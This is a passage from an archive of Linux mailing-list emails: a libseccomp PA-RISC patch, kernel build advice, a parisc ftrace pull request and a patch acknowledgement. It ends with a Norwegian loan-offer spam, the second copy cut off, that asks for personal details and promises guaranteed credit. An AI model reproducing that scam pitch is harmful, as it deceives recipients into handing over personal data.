+++ b/tools/scmp_bpf_sim.c
@@ -265,6 +265,10 @@ int main(int argc, char *argv[])
 				arch = AUDIT_ARCH_MIPS64N32;
 			else if (strcmp(optarg, "mipsel64n32") == 0)
 				arch = AUDIT_ARCH_MIPSEL64N32;
+			else if (strcmp(optarg, "parisc") == 0)
+				arch = AUDIT_ARCH_PARISC;
+			else if (strcmp(optarg, "parisc64") == 0)
+				arch = AUDIT_ARCH_PARISC64;
 			else if (strcmp(optarg, "ppc") == 0)
 				arch = AUDIT_ARCH_PPC;
 			else if (strcmp(optarg, "ppc64") == 0)
diff --git a/tools/util.c b/tools/util.c
index cc48647..7122335 100644
--- a/tools/util.c
+++ b/tools/util.c
@@ -62,6 +62,10 @@
 #elif __MIPSEL__
 #define ARCH_NATIVE		AUDIT_ARCH_MIPSEL64N32
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC64
+#elif __hppa__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 #define ARCH_NATIVE		AUDIT_ARCH_PPC64

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel for bug hunting
Date: Fri, 15 Apr 2016 17:20:46 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <571106CE.2040406@gmx.de>
References: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
 <5710A91C.4040609@gmx.de>
 <CACrbsaBDN70Q=JxjpsruVNLgi+X262MEQY+zgy1mdOwVmFZB2A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460733665 22019 80.91.229.3 (15 Apr 2016 15:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 15:21:05 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Riccardo Schiavi <r.schiavi@evidence.eu.com>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:20:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ar5YH-0002LC-2C
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 17:20:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751226AbcDOPU4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 11:20:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61181 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751176AbcDOPU4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 11:20:56 -0400
Original-Received: from [10.95.162.180] ([155.56.40.73]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MfjJY-1b5T8P2T3s-00NApH; Fri, 15 Apr 2016 17:20:49
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACrbsaBDN70Q=JxjpsruVNLgi+X262MEQY+zgy1mdOwVmFZB2A@mail.gmail.com>
X-Provags-ID: V03:K0:qW5z3DfjNAfIk7gx0x+sN1z0aJn3wkp0sNxNWVm9dy19CPrqlyH
 jSwMjIXCiSevizU93yT0imKAm4+v+xMNJ0W4hXKa6RkYIdNSVNyfVHZ0GZVum7rj4g/qTaX
 NyYC5eDVihsMTImAabV6p47lPo9Ijl49av/CY7YBkGOupDGRapCtQXfaHMY/fabCdn8OpCe
 sx41pne4cFG+SNaiwW/Jw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4nD/fZGZn+A=:gdwRZsR6AheKyrlUmpUWl5
 lymG/zlgWheFB2eCalN7V09gmOqHWNdCKFRHLuEvuCbHy2nqppnWPWK2rjm1rpZ5qkeC0nkM9
 eaEI8NJF4pNHyx0VEGWfKDuIqbRYTuqVDBQrArO28korg6+BjI5HapGDlF5iop4BdoDmfFqka
 ybpEeorwSwplwTrTmdWDasgiKeJ5vu7OEHUWmvAYdlY94MnXp70+618ypSPczPntJ9yClRoEC
 oTgsghtPqXVVmhGfJjkPN/WISirppIvgrjaQql1VWPhaHA7qqaMhikObAZsWsGA3132QdB4Ur
 codmCFlYyjQaTrO3njc2tFdGhjj/NhhOmBn7OzRaaf6zqWcwjZByM3L1JjqyRkfZshUEyuAEq
 3wEEVac99bdvVs+r135hHVD5a0mUIXKZKjLXNuttx3sf3D0nrmZufbe3kL8Dknaern3+32eRI
 z75E5nrCoZtz4cummQAjv5XLSHEe2kY/w+puNCILnU4pjzTTcITvxDat9cW0bNjYd2pH+P0J/
 dZMXTaiwG0Lro0CJpurJWJQMlam9gw8CVA4lkbnur4M+Yhgb4CHFTmYuUacWYX8vr3JzSpgCF
 5ldM2jKk0xaJnfdUDp5KpAqcgeac0Zf8lAMTzZopW7mmvVKxDAB00Jqn4fk4xiRN3wcEA+QYO
 w9AI3lUS5PxCjLCWJTSZsdeFT1MDLeQ3JdenO/4z2ezXeWd3L1hp5oJvpw0Kg6JCcHedEJ/An
 PZFwM4wYzOteedAGc42YF9ZC59nbSv/zkkLQqE42sLwU+BYEaQLkOmS/wNtucOu5VMZa7T7G 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26645
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26645>

On 15.04.2016 16:57, Simone Mannori wrote:
> Inside a clean directory I have cloned the repository
> 
> git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
> 
> and everythings looks OK.
> 
> I have changed directory with to "cd linux-stable/"; then I have
> verified the presence of other branches with "git branch -a"; then I
> have checkout the branch that you told me using
> 
> git checkout -b hppa remotes/origin/linux-4.5.y
> 
> Now the situation looks perfect:
> simone@blsw:~/kernel/git/linux-stable$ git branch
> * hppa
>   master
> 
> GCC looks good:
> simone@blsw:~/kernel/git/linux-stable$ gcc -v

As Dave mentioned, you need the 64bit hppa compiler (gcc-4.9-hppa64).

root@phantom:~# hppa64-linux-gnu-gcc-4.9 --version
hppa64-linux-gnu-gcc-4.9 (GCC) 4.9.3
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Run 
"apt-get install gcc-4.9-hppa64", or even better:
"apt-get build-dep linux"  to get all packages required to build the kernel (see my other mail).

> I'm using your .config untouched.

Try:
make ARCH=parisc oldconfig
make ARCH=parisc vmlinux modules

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc ftrace fixes for 4.6-rc4
Date: Fri, 15 Apr 2016 17:56:30 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20160415155630.GA17157@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460735820 26491 80.91.229.3 (15 Apr 2016 15:57:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 15:57:00 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:52 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ar671-00061v-Uo
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 17:56:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750970AbcDOP4v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 11:56:51 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55206 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750882AbcDOP4u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 11:56:50 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx102) with ESMTPSA (Nemesis) id 0M2WgT-1biv9L3pbR-00sOl2; Fri, 15 Apr
 2016 17:56:34 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:H/mkSs260p49BqXaqjPOU1zArKtV9S2y1UX3hkGwMCZzhLiJPOV
 1Pm+uq5m2lqVVaH0SuWNEVpLUxDU1Edoo0FhD/nsMxp/0zpLf2BFfg+TVW9c1+D8HPdPZrA
 AWqRc0Y48WrAWK0+2TgsCiRN5QkoSmOtPBVLPrtBeykbScc3vFGpXD8+jSNpO+TA6OSHsX2
 z2ZGiHZsPYvnApSyOuGdA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:IWh+g+AT6X0=:GZa5couHXI15RiHS60DC9q
 qoXwV6l8FvWG6/3kV61O+HYsAHHWadv8yCe980AUnnIYogKRl0ViTwr+HUrNpL/9bDbgA1l7D
 QKumTxjx3mhcTxGdGxBqszIK1Nz3Hc98RBqWzjseEAD1AYf3dTqG96B11IpNgksHOfXqNUO53
 FKpPF53a3WyUwoRvMLuQhKAgQ8qbS2B0A5P3yXPFZvGLlkhRKG2optF1vwT8SinNPIAbPhBt7
 6rxoooBfe5aW9euxdCJorZhYJltbDvZwqLxnMm8uhSZvRhCLVz2HWy5AAaR3Ev5YpBNjHMMiB
 vhfWsHkaCKRgtq4y0aBjxH6fiPM8fGlfxA11EuzolR52/kPditVzIa3Ud2hUHRx8oZ1JCrG8t
 uqAgBA0PhlRyCxplTHo9puZPw5qC9DPDmWhWWYaEJWqrvQ2djJ8NrQeR2b3qMd8oQS5dyy7jO
 rp2nTL3Q8sh+MRJ+Hei2NR1kMXEpC/BZhCVLJ09NaQXUV/rFVZXPNduBBA7FqQE38CJ0Maoy3
 nk3EwGVr0GXs9jOCXmpFD8lOtt0LXwpbLzdL0g+Z9xtHlmaTs+bjDWBJ0FkblgOps3zzqyBYi
 ZbZvSSnzpskrdaXxExO4RVjfLvkNEyniGuWVRFPcRg9KqqyyQkv7+xoNe37ivDu8qy85cagt6
 X3OqkCI1nJaDO1raSZMcZ7bn4chhyaCmAmbsPDoeqI9pOUmHxVPbwXqgO08NKrn6/BqcZqDMI
 Ywm5aZvnLKLmuhwAqILNa5hT/pclsUgZDa84u7phIu07ZZqnsRBtN1c6fDQ=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26646 gmane.linux.kernel:2199925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26646>

Hi Linus,

This is (most likely) the last pull request for v4.6 for the parisc architecture.

It fixes the FTRACE feature for parisc, which is horribly broken since quite
some time and doesn't even compile.  This patch just fixes the bare minimum (it
actually removes more lines than it adds), so that the function tracer works
again on 32- and 64bit kernels.

I've queued up additional patches on top of this patch which e.g. add the
syscall tracer, but those have to wait for the merge window for v4.7.

Please pull from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-4

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix ftrace function tracer

 arch/parisc/Kconfig              |   4 +-
 arch/parisc/Kconfig.debug        |   4 ++
 arch/parisc/Makefile             |   4 +-
 arch/parisc/include/asm/ftrace.h |  18 +----
 arch/parisc/kernel/Makefile      |   4 --
 arch/parisc/kernel/entry.S       |  93 ++++++++++++++++++++-----
 arch/parisc/kernel/ftrace.c      | 146 ++++++---------------------------------
 arch/parisc/kernel/head.S        |   9 +++
 8 files changed, 114 insertions(+), 168 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cryptoapi,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.iio,gmane.linux.kernel.input,gmane.linux.ports.openrisc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.metag,gmane.linux.drivers.mtd,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.scsi,gmane.linux.serial,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.network,gmane.linux.ports.sparc
Subject: Re: [PATCH V3 00/29] bitops: add parity functions
Date: Sun, 17 Apr 2016 05:38:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20160417123857.GD33215@dtor-ws>
References: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460896783 14971 80.91.229.3 (17 Apr 2016 12:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2016 12:39:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
        adi-buildroot-devel@lists.sourceforge.net,
        Andrew Morton <akpm@linux-foundation.org>,
        Anton Blanchard <anton@samba.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Benjamin Tissoires <benjamin.tissoires@redhat.com>,
        Borislav Petkov <bp@suse.de>,
        Bruce Allan <bruce.w.allan@intel.com>,
        Christophe Leroy <christophe.leroy@c-s.fr>,
        David Herrmann <dh.herrmann@gmail.com>,
        "David S. Miller" <davem@davemloft.net>,
        Denys Vlasenko <dvlasenk@redhat.com>,
        Duson Lin <dusonlin@emc.com.tw>,
        Guenter Roeck <linux@roeck-us.net>,
        Hans de Goede <hdegoede@redhat.com>,
        Hans Verkuil <hans.verkuil@cisco.com>,
        Hartmut Knaack <knaack.h@gmx.de>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Hendrik Brueckne
To: zengzhaoxiu@163.com
Original-X-From: linux-mips-bounce@linux-mips.org Sun Apr 17 14:39:27 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1arlz5-0005iK-E4
	for sgi-linux-mips@gmane.org; Sun, 17 Apr 2016 14:39:27 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50246 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026817AbcDQMjZElxTr (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 17 Apr 2016 14:39:25 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 17 Apr 2016 14:39:11 +0200 (CEST)
Original-Received: from mail-pf0-f173.google.com ([209.85.192.173]:35237 "EHLO
        mail-pf0-f173.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27026803AbcDQMjIDw1Vr (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sun, 17 Apr 2016 14:39:08 +0200
Original-Received: by mail-pf0-f173.google.com with SMTP id n1so71619453pfn.2;
        Sun, 17 Apr 2016 05:39:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=rF8tBR6FeVKmNAFmTqMzkb6ZmHXyqas7YHtcuM09CVM=;
        b=V7pNzT7xeuViB4xZOm2JrSU0tSeVXJntYg5RhBPcD7zHw7IoZ2OYcfO9sEsjXwLn22
         ING2eDG0+QXUAP+EMYRTujmlTpaCXBVezK2Ih+BXbVGMwHotL5iNbtmLCs7iWmKQxyfz
         8KCByXPfPT47Y7bP+5iNuDnnbdzZh2UKiJAm7pMeHO5Blrwv3hVadksTe9yoxTWfttJg
         JThYcaJjltSG4HlK1ZC4zAGjTJfVLabSBV1ErVe53vST21wOTDceV7JGTI4e06Nkv3y4
         MRr9tamYLjIVkUz3De/VMUQbBeLtfKh3gKxt5jYcmkYtkca9WYREBjdKTke6JIATNKUx
         o8+Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=rF8tBR6FeVKmNAFmTqMzkb6ZmHXyqas7YHtcuM09CVM=;
        b=RG8lGQdEMrrIa1hs69Geucxh6Pvh+GwCNOGGsvlNQHVnKBiY00B9vUPheXrkRZRdS2
         nqywX+Tlh/mlvDyXQrCK8WZlxWtKlauVaeqOspR4Ax/SZ+qC0sxnWE787y41BWd/PKc/
         sMKg97//1fHsXzHGvMtRjk4Mhlp5tmse9cxErqwvUpJAFSq8k5JQ8AgJjTS+OzLXKH1K
         KuVT8n+MLf9fI9v3PeLSukiSOWPKzU4WSLEHAbqwl4f3gZ9ywq26gzIntTEBEuIZP8Lp
         7UmUl7PTmowjsv22gJwtDqsSnoBxEG3lCmMFMfkFRm3ovP1bCETUbjJ7FV95owRT35jV
         4yxg==
X-Gm-Message-State: AOPr4FVYKC2uw8o8KKgvbnnbJeuhruF3c1uDvhpa8+ZMSgNgmeszPAZwITqx3rQTC4stcA==
X-Received: by 10.98.69.1 with SMTP id s1mr42788103pfa.56.1460896741959;
        Sun, 17 Apr 2016 05:39:01 -0700 (PDT)
Original-Received: from dtor-ws ([2620:0:1000:1311:8532:83a7:8148:9133])
        by smtp.gmail.com with ESMTPSA id w125sm13204085pfb.16.2016.04.17.05.38.59
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Sun, 17 Apr 2016 05:39:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 53030
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dmitry.torokhov@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54191 gmane.linux.kernel:2200749 gmane.linux.ports.alpha:3618 gmane.linux.kernel.cross-arch:31574 gmane.linux.ports.arm.kernel:493283 gmane.linux.kernel.cryptoapi:19410 gmane.linux.ports.hexagon:1004 gmane.linux.ports.ia64:26568 gmane.linux.kernel.iio:23279 gmane.linux.kernel.input:49017 gmane.linux.ports.openrisc:703 gmane.linux.drivers.video-input-infrastructure:101228 gmane.linux.kernel.metag:1056 gmane.linux.drivers.mtd:66739 gmane.linux.nfs:77075 gmane.linux.ports.parisc:26647 gmane.linux.ports.ppc64.devel:125964 gmane.linux.scsi:113140 gmane.linux.serial:22888 gmane.linux.ports.sh.devel:53773 gmane.linux.kernel.arc:913 gmane.linux.network:408451 gmane.linux.ports.sparc:22799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54191>

On Thu, Apr 14, 2016 at 10:36:41AM +0800, zengzhaoxiu@163.com wrote:
>  drivers/input/joystick/grip_mp.c             |  16 +--
>  drivers/input/joystick/sidewinder.c          |  24 +----
>  drivers/input/mouse/elantech.c               |  10 +-
>  drivers/input/mouse/elantech.h               |   1 -
>  drivers/input/serio/ams_delta_serio.c        |   8 +-
>  drivers/input/serio/pcips2.c                 |   2 +-
>  drivers/input/serio/sa1111ps2.c              |   2 +-

For input bits:

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

Thanks.

-- 
Dmitry



From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Central Trust Loan Limited <akbar.ramaputra12@kalstaronline.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?L=C3=A5netilbud?=
Date: Sun, 17 Apr 2016 23:37:49 +0700 (WIT)
Lines: 43
Approved: news@gmane.org
Message-ID: <820890261.39989.1460911069769.JavaMail.zimbra@kalstaronline.com>
Reply-To: "centraltrustlltd@gmail.com" <centraltrustlltd@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1460911309 30625 80.91.229.3 (17 Apr 2016 16:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2016 16:41:49 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 18:41:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1arplU-0005aP-0s
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Apr 2016 18:41:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751091AbcDQQlj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2016 12:41:39 -0400
Original-Received: from mail2.kalstaronline.com ([202.43.163.170]:35516 "EHLO
	mail2.kalstaronline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750964AbcDQQli convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2016 12:41:38 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail2.kalstaronline.com (Postfix) with ESMTP id C6D0519CB08A;
	Sun, 17 Apr 2016 23:37:51 +0700 (WIB)
Original-Received: from mail2.kalstaronline.com ([127.0.0.1])
	by localhost (mail2.kalstaronline.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id p7NRW5kaAHbt; Sun, 17 Apr 2016 23:37:51 +0700 (WIB)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail2.kalstaronline.com (Postfix) with ESMTP id ADE7119CEB30;
	Sun, 17 Apr 2016 23:37:50 +0700 (WIB)
DKIM-Filter: OpenDKIM Filter v2.8.4 mail2.kalstaronline.com ADE7119CEB30
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kalstaronline.com;
	s=FDDC90DE-F623-11E5-8040-0DA408C65E0B; t=1460911070;
	bh=FmsspkDqpYlI2E1TSuflKKKPJfzUJoMzU9gXHE3CTwM=;
	h=Date:From:Reply-To:Message-ID:Subject:MIME-Version:Content-Type:
	 Content-Transfer-Encoding;
	b=WAXeb3OiReFr4M0Jg+YS0s9mgsSMSV/Tr5jEjWtm2fB7hA2TzziYTqZUF3sZXrDSL
	 ote1U9UNZqXHure7ovcVRNDAmew11FGtINYPbnwHTTNnZJSzREOxhcbfH3CsszHWh3
	 Jzv4db2IAU4s55Qc7dsnoYrbT13ee9/Ghfq3PLQo=
X-Virus-Scanned: amavisd-new at kalstaronline.com
Original-Received: from mail2.kalstaronline.com ([127.0.0.1])
	by localhost (mail2.kalstaronline.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id 1OA2nmMfRvc8; Sun, 17 Apr 2016 23:37:50 +0700 (WIB)
Original-Received: from mail2.kalstaronline.com (mail2.kalstaronline.com [202.43.163.170])
	by mail2.kalstaronline.com (Postfix) with ESMTP id C451719C8F26;
	Sun, 17 Apr 2016 23:37:49 +0700 (WIB)
X-Originating-IP: [197.210.16.151]
X-Mailer: Zimbra 8.0.6_GA_5922 (zclient/8.0.6_GA_5922)
Thread-Topic: =?utf-8?Q?L=C3=A5netilbud?=
Thread-Index: mbJ8Ltu7JV+QC0gGAxf/GIQbMcN3Vw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26648>

God dag,

Dette er CENTRAL TRUST l=C3=A5n selskaper tilbyr l=C3=A5n.

Central Trust L=C3=85N Selskapet tilbyr fleksible og rimelige l=C3=A5n =
til ethvert form=C3=A5l, for =C3=A5 hjelpe deg =C3=A5 n=C3=A5 dine fina=
nsielle m=C3=A5l. vi l=C3=A5n med lav rente p=C3=A5 1,5%. Her er noen v=
iktige trekk ved personlig l=C3=A5n fra sentral stoler p=C3=A5 utl=C3=A5=
n selskaper tilbys. Her er de L=C3=A5ne Faktorer vi samarbeider med de =
ledende britiske meglere som har tilgang til toppen l=C3=A5ngivere og v=
=C3=A6re i stand til =C3=A5 finne den beste =C3=B8konomiske l=C3=B8snin=
gen til en rimelig price.Please, hvis du er interessert kan du kontakte=
 oss via denne e-post: centraltrust_ltd@webadicta.org

Etter reaksjonen vil du motta en s=C3=B8knad om kreditt fyll. Ingen sos=
ial sikkerhet og ingen kredittsjekk, 100% garantert.
Det er en =C3=A6re for oss hvis du tillater oss til tjeneste.

informasjon Needed

Dine navn:
Adresse:
telefon:
M=C3=A5 Antall:
Varighet:
Okkupasjon:
M=C3=A5nedlig inntekt:
Kj=C3=B8nn:
=46=C3=B8dselsdato:
Status:
Land:
Hensikt:

M=C3=B8t dine =C3=B8konomiske behov er v=C3=A5r stolthet.

Vennlig hilsen
David Donald
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Central Trust Loan Limited <akbar.ramaputra12@kalstaronline.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?L=C3=A5netilbud?=
Date: Sun, 17 Apr 2016 23:39:15 +0700 (WIT)
Lines: 43
Approved: news@gmane.org
Message-ID: <1697976406.40060.1460911155610.JavaMail.zimbra@kalstaronline.com>
Reply-To: "centraltrustlltd@gmail.com" <centraltrustlltd@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1460911338 30980 80.91.229.3 (17 Apr 2016 16:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
